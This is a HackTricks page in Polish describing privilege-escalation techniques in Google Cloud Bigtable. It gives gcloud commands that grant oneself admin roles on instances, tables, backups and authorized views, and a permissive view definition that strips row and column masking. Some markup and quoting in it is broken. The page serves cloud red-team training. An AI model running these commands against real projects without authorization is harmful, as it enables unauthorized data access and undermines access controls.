GCP - Bigtable Privesc

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Bigtable

Aby uzyskać więcej informacji o Bigtable, sprawdź:

GCP - Bigtable Enum

bigtable.instances.setIamPolicy

Permissions: bigtable.instances.setIamPolicy (i zwykle bigtable.instances.getIamPolicy do odczytu bieżących powiązań).

Posiadanie polityki IAM instancji pozwala przyznać sobie roles/bigtable.admin (lub dowolną rolę niestandardową), która kaskaduje do każdego klastra, tabeli, kopii zapasowej i autoryzowanego widoku w instancji.

Przyznaj sobie rolę bigtable.admin na instancji ```bash gcloud bigtable instances add-iam-policy-binding \ --member='user:' \ --role='roles/bigtable.admin' ```

Tip

Jeśli nie możesz wylistować istniejących powiązań, przygotuj nowy dokument polityki i zastosuj go za pomocą gcloud bigtable instances set-iam-policy, pod warunkiem, że zachowasz w nim swoje uprawnienia.

Po uzyskaniu tego uprawnienia sprawdź w sekcji Bigtable Post Exploitation section techniki, aby znaleźć więcej sposobów nadużycia uprawnień Bigtable.

bigtable.tables.setIamPolicy

Uprawnienia: bigtable.tables.setIamPolicy (opcjonalnie bigtable.tables.getIamPolicy).

Polityki instancji mogą być zablokowane, podczas gdy poszczególne tabele są delegowane. Jeśli możesz edytować IAM tabeli, możesz przyznać sobie rolę właściciela docelowego zbioru danych bez ingerencji w inne obciążenia.

Przyznaj sobie rolę bigtable.admin na tabeli ```bash gcloud bigtable tables add-iam-policy-binding \ --instance= \ --member='user:' \ --role='roles/bigtable.admin' ```

Po uzyskaniu tego uprawnienia sprawdź w Bigtable Post Exploitation section techniki pokazujące więcej sposobów nadużywania uprawnień Bigtable.

bigtable.backups.setIamPolicy

Uprawnienia: bigtable.backups.setIamPolicy

Kopie zapasowe można przywrócić do dowolnej instancji w dowolnym projekcie, którymi zarządzasz. Najpierw przyznaj swojej tożsamości dostęp do backupu, a następnie przywróć go do sandboxa, w którym masz role Admin/Owner.

Jeśli masz uprawnienie bigtable.backups.setIamPolicy, możesz przyznać sobie uprawnienie bigtable.backups.restore, aby przywrócić stare kopie zapasowe i spróbować uzyskać dostęp do wrażliwych informacji.

Take ownership of backup snapshot ```bash # Take ownership of the snapshot gcloud bigtable backups add-iam-policy-binding \ --instance= --cluster= \ --member='user:' \ --role='roles/bigtable.admin' ```

Po uzyskaniu tego uprawnienia sprawdź Bigtable Post Exploitation section, aby zobaczyć, jak przywrócić kopię zapasową.

Aktualizuj authorized view

Uprawnienia: bigtable.authorizedViews.update

Authorized Views mają na celu maskować wiersze/kolumny. Modyfikacja lub usunięcie ich usuwa drobnoziarniste zabezpieczenia, na których polegają obrońcy.

Zaktualizuj authorized view, aby poszerzyć dostęp ```bash # Broaden the subset by uploading a permissive definition gcloud bigtable authorized-views update \ --instance= --table= \ --definition-file=/tmp/permissive-view.json --ignore-warnings

Json example not filtering any row or column

cat <<‘EOF’ > /tmp/permissive-view.json { “subsetView”: { “rowPrefixes”: [“”], “familySubsets”: { “”: { “qualifierPrefixes”: [“”] } } } } EOF

Describe the authorized view to get a family name

gcloud bigtable authorized-views describe
–instance= –table=

</details>

Po uzyskaniu tego uprawnienia sprawdź w [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md), jak odczytać z Authorized View.

### `bigtable.authorizedViews.setIamPolicy`

**Uprawnienia:**  `bigtable.authorizedViews.setIamPolicy`.

Atakujący posiadający to uprawnienie może przyznać sobie dostęp do Authorized View, które może zawierać poufne dane, do których w innym przypadku nie miałby dostępu.

<details><summary>Przyznaj sobie dostęp do Authorized View</summary>
```bash
# Give more permissions over an existing view
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
--instance=<instance-id> --table=<table-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.viewer'

Po sprawdzeniu uprawnień zobacz w Bigtable Post Exploitation section, jak odczytywać z autoryzowanego widoku.

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks